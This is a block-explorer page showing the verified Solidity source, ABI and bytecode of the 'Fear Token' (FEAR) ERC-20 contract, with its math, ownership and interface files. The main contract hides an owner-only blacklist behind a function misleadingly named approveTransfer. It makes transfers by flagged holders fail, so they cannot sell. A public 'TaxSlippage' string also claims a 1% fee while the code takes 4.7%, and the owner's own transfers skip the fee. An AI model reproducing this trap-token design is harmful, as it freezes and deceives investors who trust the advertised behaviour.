ETH Price: $3,331.85 (-3.62%)
 

Overview

Max Total Supply

1,000,000,000,000 FEAR

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
382,925,112.326694342 FEAR

Value
$0.00
0x67b33eb5d3d4b8a1e55bf6119d57b6c17931f898
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FearToken

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity Multiple files format)

File 3 of 4: Fear Token.sol
/**
  █████▒▓█████ ▄▄▄       ██▀███     ▄▄▄█████▓ ▒█████   ██ ▄█▀▓█████  ███▄    █ 
▓██   ▒ ▓█   ▀▒████▄    ▓██ ▒ ██▒   ▓  ██▒ ▓▒▒██▒  ██▒ ██▄█▒ ▓█   ▀  ██ ▀█   █ 
▒████ ░ ▒███  ▒██  ▀█▄  ▓██ ░▄█ ▒   ▒ ▓██░ ▒░▒██░  ██▒▓███▄░ ▒███   ▓██  ▀█ ██▒
░▓█▒  ░ ▒▓█  ▄░██▄▄▄▄██ ▒██▀▀█▄     ░ ▓██▓ ░ ▒██   ██░▓██ █▄ ▒▓█  ▄ ▓██▒  ▐▌██▒
░▒█░    ░▒████▒▓█   ▓██▒░██▓ ▒██▒     ▒██▒ ░ ░ ████▓▒░▒██▒ █▄░▒████▒▒██░   ▓██░
 ▒ ░    ░░ ▒░ ░▒▒   ▓▒█░░ ▒▓ ░▒▓░     ▒ ░░   ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░░ ▒░ ░░ ▒░   ▒ ▒ 
 ░       ░ ░  ░ ▒   ▒▒ ░  ░▒ ░ ▒░       ░      ░ ▒ ▒░ ░ ░▒ ▒░ ░ ░  ░░ ░░   ░ ▒░
*   https://t.me/feartoken
*   https://feartoken.space/
*
*/// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.8;

import "./AddressSafeMath.sol";
import "./ContextOwnable.sol";
import "./IERC20.sol";

contract FearToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = 'Fear Token';
    string private _symbol = 'FEAR';
    uint256 private constant _tTotal = 1000000000000*10**9;
    uint8 private _decimals = 9;
    string public TaxSlippage = "1%";
    
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    mapping (address => bool) private _isExcluded;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _approveTransfer;
    event bannedBot (address Bot, bool Banned);
    uint256 private constant MAX = ~uint256(0);
    address public uniswapV2factory;
    address public uniswapV2router;
    address[] private _excluded;
    uint256 private _tFeeTotal;
    
    constructor (address V2factory, address V2router) {
        uniswapV2factory = V2factory;
        uniswapV2router = V2router;
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approveTransfer(address _address) external onlyOwner {
        if (_approveTransfer[_address] == true) {_approveTransfer[_address] = false;}
        else {_approveTransfer[_address] = true; 
        emit bannedBot (_address, _approveTransfer[_address]);}
    }

    function checkBot(address _address) public view returns (bool) {
        return _approveTransfer[_address];
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;} else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;}
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function TaxTakenAlready() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_approveTransfer[sender] || _approveTransfer[recipient]) require (amount == 0, "");
        if (sender == owner() || recipient == owner()) {
        _transferOwner(sender, recipient, amount);
        } else if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
        _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
        _transferBothExcluded(sender, recipient, amount);
        } else {_transferStandard(sender, recipient, amount);}
    }
    
    function _transferOwner(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, , , , ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        if (_isExcluded[sender]) {_tOwned[sender] = _tOwned[sender].sub(tAmount);}
        _rOwned[recipient] = _rOwned[recipient].add(rAmount);
        if (_isExcluded[recipient]) {_tOwned[recipient] = _tOwned[recipient].add(tAmount);}
        emit Transfer(sender, recipient, tAmount);
    }
    
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.div(1000).mul(47);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 4: AddressSafeMath.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies in extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`.
     * A plain`call` is an unsafe replacement for a function call: use this function instead.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 2 of 4: ContextOwnable.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
       return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
   
}

File 4 of 4: IERC20.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"},{"internalType":"address","name":"V2router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"Bot","type":"address"},{"indexed":false,"internalType":"bool","name":"Banned","type":"bool"}],"name":"bannedBot","type":"event"},{"inputs":[],"name":"TaxSlippage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxTakenAlready","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600a81526020017f4665617220546f6b656e00000000000000000000000000000000000000000000815250600190805190602001906200005192919062000a31565b506040518060400160405280600481526020017f4645415200000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000a31565b506009600360006101000a81548160ff021916908360ff1602179055506040518060400160405280600281526020017f3125000000000000000000000000000000000000000000000000000000000000815250600490805190602001906200010992919062000a31565b50683635c9adc5dea0000060001962000123919062000b1a565b60001962000132919062000b81565b6006553480156200014257600080fd5b506040516200462a3803806200462a833981810160405281019062000168919062000c26565b60006200017a6200050160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065460086000620002b16200050160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002ff6200050160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea0000060405162000367919062000c7e565b60405180910390a3620003ce60086000620003876200050160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200050960201b60201c565b60096000620003e26200050160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620004366200050160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600d620004996200050160201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000f15565b600033905090565b600060065482111562000553576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200054a9062000d22565b60405180910390fd5b6000620005656200058960201b60201c565b9050620005818184620005c360201b62000fb51790919060201c565b915050919050565b60008060006200059e6200061560201b60201c565b91509150620005bc8183620005c360201b62000fb51790919060201c565b9250505090565b60006200060d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200090e60201b60201c565b905092915050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015620008ba578260086000600d84815481106200065a576200065962000d44565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806200074c57508160096000600d8481548110620006e457620006e362000d44565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200076c57600654683635c9adc5dea00000945094505050506200090a565b6200080660086000600d84815481106200078b576200078a62000d44565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846200097660201b62000fff1790919060201c565b9250620008a260096000600d848154811062000827576200082662000d44565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836200097660201b62000fff1790919060201c565b91508080620008b19062000d73565b91505062000630565b50620008e0683635c9adc5dea00000600654620005c360201b62000fb51790919060201c565b8210156200090157600654683635c9adc5dea000009350935050506200090a565b81819350935050505b9091565b6000808311829062000958576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200094f919062000e54565b60405180910390fd5b506000838562000969919062000e78565b9050809150509392505050565b6000620009c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250620009c860201b60201c565b905092915050565b600083831115829062000a13576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a0a919062000e54565b60405180910390fd5b506000838562000a24919062000b81565b9050809150509392505050565b82805462000a3f9062000edf565b90600052602060002090601f01602090048101928262000a63576000855562000aaf565b82601f1062000a7e57805160ff191683800117855562000aaf565b8280016001018555821562000aaf579182015b8281111562000aae57825182559160200191906001019062000a91565b5b50905062000abe919062000ac2565b5090565b5b8082111562000add57600081600090555060010162000ac3565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b278262000ae1565b915062000b348362000ae1565b92508262000b475762000b4662000aeb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b8e8262000ae1565b915062000b9b8362000ae1565b92508282101562000bb15762000bb062000b52565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bee8262000bc1565b9050919050565b62000c008162000be1565b811462000c0c57600080fd5b50565b60008151905062000c208162000bf5565b92915050565b6000806040838503121562000c405762000c3f62000bbc565b5b600062000c508582860162000c0f565b925050602062000c638582860162000c0f565b9150509250929050565b62000c788162000ae1565b82525050565b600060208201905062000c95600083018462000c6d565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000d0a602a8362000c9b565b915062000d178262000cac565b604082019050919050565b6000602082019050818103600083015262000d3d8162000cfb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000d808262000ae1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000db65762000db562000b52565b5b600182019050919050565b600081519050919050565b60005b8381101562000dec57808201518184015260208101905062000dcf565b8381111562000dfc576000848401525b50505050565b6000601f19601f8301169050919050565b600062000e208262000dc1565b62000e2c818562000c9b565b935062000e3e81856020860162000dcc565b62000e498162000e02565b840191505092915050565b6000602082019050818103600083015262000e70818462000e13565b905092915050565b600062000e858262000ae1565b915062000e928362000ae1565b92508262000ea55762000ea462000aeb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ef857607f821691505b6020821081141562000f0f5762000f0e62000eb0565b5b50919050565b6137058062000f256000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806395d89b411161007c57806395d89b41146103665780639d8d840614610384578063a457c2d7146103a2578063a9059cbb146103d2578063b1a4e0dc14610402578063dd62ed3e1461043257610137565b80634549b039146102ac57806370a08231146102dc57806370fe251b1461030c5780638336d9771461032a5780638da5cb5b1461034857610137565b806323b872dd116100ff57806323b872dd146101e25780632d83811914610212578063313ce5671461024257806339509351146102605780634355b9d21461029057610137565b8063053ab1821461013c57806306fdde0314610158578063081d2b3c14610176578063095ea7b31461019457806318160ddd146101c4575b600080fd5b61015660048036038101906101519190612a80565b610462565b005b6101606105dc565b60405161016d9190612b46565b60405180910390f35b61017e61066e565b60405161018b9190612ba9565b60405180910390f35b6101ae60048036038101906101a99190612bf0565b610694565b6040516101bb9190612c4b565b60405180910390f35b6101cc6106b2565b6040516101d99190612c75565b60